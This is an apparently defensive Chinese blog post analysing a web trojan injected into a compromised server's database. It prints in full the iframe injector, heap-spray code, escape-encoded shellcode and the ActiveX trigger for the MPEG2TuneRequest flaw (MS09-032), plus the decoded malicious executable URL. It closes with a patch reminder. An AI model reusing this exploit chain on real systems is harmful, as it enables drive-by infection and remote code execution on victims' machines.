解密目前最流行的MPEG2漏洞网页木马加密
前两天有客户打来电话说他们的网站打不开了．或者说打开很慢。一查才知原来我们电信的一台服务器被挂马了。具体情况不多说了，主要来分析一下这个网页木马。
这是一个SQL数据库的挂马，打开MSSQL，发现多张表里的多个字段被插入了一段Script脚本，指向一个JS文件z.js，具体的地址我忘了。首先下载z.js，打开，发现代码如下：
document.writeln(” <base onmouseover=\”window.status=\’完毕 \’;return true\”>”);
document.writeln(” <SCRIPT LANGUAGE=\”JavaScript\”> “);
document.writeln(” <!– Hide “);
document.writeln(“function killErrors() { “);
document.writeln(“return true; “);
document.writeln(“} “);
document.writeln(“window.onerror = killErrors; “);
document.writeln(“\/\/ –> “);
document.writeln(” <\/SCRIPT>”);
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 1000)
var cookieString = new String(document.cookie)
var cookieHeader = “Cookie1a01ab2=”
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = “Cookie1a01ab2=hhhh;expires=”+ Then.toGMTString()
document.writeln(” <IFRaME src=\”http://ddsshjhaiiwiieieie2222.cn/aa/a3a.htm\” width=1 height=1> <\/IFRAME>”);
}
}Get();
发现有个Iframe标签，指向http://ddsshjhaiiwiieieie2222.cn/aa/a3a.htm。下载这个a2a.htm，注意不要在浏览里直接打开，会直接运行网马。打开下载下来的a3a.htm，发现代码如下：
<html>
<iframe src=”360.htm” width=111 height=0 border=0></iframe>
<br>
<br>
<br>
<br>
<br>
<script type=”text/javascript” src=”http://js.tongji.linezing.com/1137761/tongji.js”></script><noscript><a href=”http://www.linezing.com”><img src=”http://img.tongji.linezing.com/1137761/tongji.gif”/></a></noscript></script>
<script src=”http://s6.cnzz.com/stat.php?id=1408285&web_id=1408285″ language=”JavaScript” charset=”gb2312″></script>
下面的脚本都是些统计的东西，不用管。同样我们发现有个Iframe，指向360.htm，下载下来，打开：
<html>
<body>
<div id=”DivID”>
<script src=’go.jpg’></script>
<script src=’go1.jpg’></script>
</body>
</html>
看到了没？链接到了两张图片go.jpg和go1.jpg，同样下载下来。第一感觉就知道那肯定不是真正的图片，虽然后缀是JPG。想想看好了，如果最终只是链接到两张正常的图片，那他还挂什么网页木马？把.jpg改成.txt，打开，go.jpg代码如下：
var pingfan=unescape;
var s=pingfan(“%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8″);
s+=pingfan(“%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800″);
s+=pingfan(“%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010″);
s+=pingfan(“%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358″);
s+=pingfan(“%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05″);
s+=pingfan(“%uC3E0%uACE9%u0004%u5B00%uEC81%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22″);
s+=pingfan(“%u42C7%u6308%u646D%u3E20%u42C7%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003″);
s+=pingfan(“%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088″);
s+=pingfan(“%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0″);
s+=pingfan(“%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00″);
s+=pingfan(“%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190″);
s+=pingfan(“%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF”);
s+=pingfan(“%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57″);
s+=pingfan(“%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255″);
s+=pingfan(“%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF”);
s+=pingfan(“%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246″);
s+=pingfan(“%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF”);
s+=pingfan(“%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000″);
s+=pingfan(“%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF”);
s+=pingfan(“%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000″);
s+=pingfan(“%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA”);
s+=pingfan(“%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB”);
s+=pingfan(“%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867″);
s+=pingfan(“%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3″);
s+=pingfan(“%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001″);
s+=pingfan(“%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56″);
s+=pingfan(“%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7″);
s+=pingfan(“%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300″);
s+=pingfan(“%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E”);
s+=pingfan(“%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000″);
s+=pingfan(“%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4″);
s+=pingfan(“%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000″);
s+=pingfan(“%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9″);
s+=pingfan(“%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057″);
s+=pingfan(“%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850″);
s+=pingfan(“%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4″);
s+=pingfan(“%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B”);
s+=pingfan(“%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B”);
s+=pingfan(“%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC”);
s+=pingfan(“%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03″);
s+=pingfan(“%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF”);
var u=pingfan(“%u7468%u7074%u2f3a%u6d2f%u6965%u7272%u3032%u632e%u6d6f%u732f%u6376%u6f68%u7473%u652e%u6578%u0000″);
go1.jpg代码如下：
var headersize=20;
bbbbs = ‘clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF’;
seee = ’9090′;
saaa =’%u9′;
skkk =’090′;
ha=’%u’;
sxxx = saaa + skkk + ha + seee;
var dashell=s+u;
var omybro=unescape(sxxx);
var slackspace=headersize+dashell.length;
while(omybro.length bZmybr=omybro.substring(0,slackspace);
wjsccccccg=omybro.substring(0,omybro.length-slackspace);
while(wjsccccccg.length+slackspace<0×30000) wjsccccccg=wjsccccccg+wjsccccccg+bZmybr;
memory=new Array();
for(x=0;x<300;x++) memory[x]=wjsccccccg+dashell;
var myObject=document.createElement(‘object’);
DivID.appendChild(myObject);
myObject.width=’1′;
myObject.height=’1′;
myObject.data=’./logo.gif’;
myObject.classid=bbbbs;
搜索“0955AC62-BF2E-4CBA-A2B9-A63F772D46CF“得知这是微软最新的Microsoft DirectShow MPEG2TuneRequest组件栈溢出漏洞(MS09-032)，受影响系统：
Microsoft Windows XP SP3
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
DirectShow用于在Windows操作系统中处理流媒体。
DirectShow（msvidctl.dll）的BDATuningModelMPEG2TuneRequest视频组件中存在栈溢出漏洞。此漏洞可以通过IE浏览器远程利用，如果用户受骗访问了恶意网页并打开读取MPEG-2文件的话，就可能触发这个溢出，导致执行任意指令。目前这个漏洞正在被广泛的用于挂马攻击。
Microsoft已经为此发布了一个安全公告（MS09-032）以及相应补丁:
MS09-032：Cumulative Security Update of ActiveX Kill Bits (973346)
链接：http://www.microsoft.com/technet/security/bulletin/MS09-032.mspx?pf=true
Ok，了解了情况后我们开始解密这个最新的网马，主要的代码是在go.jpg中，很明显，第一层是escape编码，我们替换掉多余的提取escape后的代码：
%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8
%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800
%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010
%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358
%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05
%uC3E0%uACE9%u0004%u5B00%uEC81%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22
%u42C7%u6308%u646D%u3E20%u42C7%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003
%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088
%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0
%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00
%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190
%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF
%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57
%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255
%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF
%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246
%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF
%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000
%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF
%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000
%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA
%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB
%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867
%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3
%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001
%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56
%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7
%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300
%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E
%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000
%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4
%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000
%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9
%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057
%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850
%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4
%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B
%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B
%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC
%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03
%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF%u7468%u7074%u2f3a%u6d2f%u6965%u7272%u3032%u632e%u6d6f%u732f%u6376%u6f68%u7473%u652e%u6578%u0000
刚才说了，第一层是escape编码，所以我们先解码，如下图：
解码之后，发现还是乱七八糟的一堆，这是什么加密呢？看得出是些十六进制。把解出来的代码进行enumXOR，enumXOR的功能即对十六进制的数据进行枚举异或，如下图：
OK了，看到没有？！网马的最终地址就是：http://meirr20.com/svchost.exe。也不是很难吧，MPEG2漏洞网马解密完成。最后提醒一下，还没打补丁的赶紧打上，这个漏洞引发的网页挂马现在非常流行。
相关的教程太少.也不具休.你觉得不难.不代表我们觉得不难
这。。不懂的你提问，好吗？
[回复]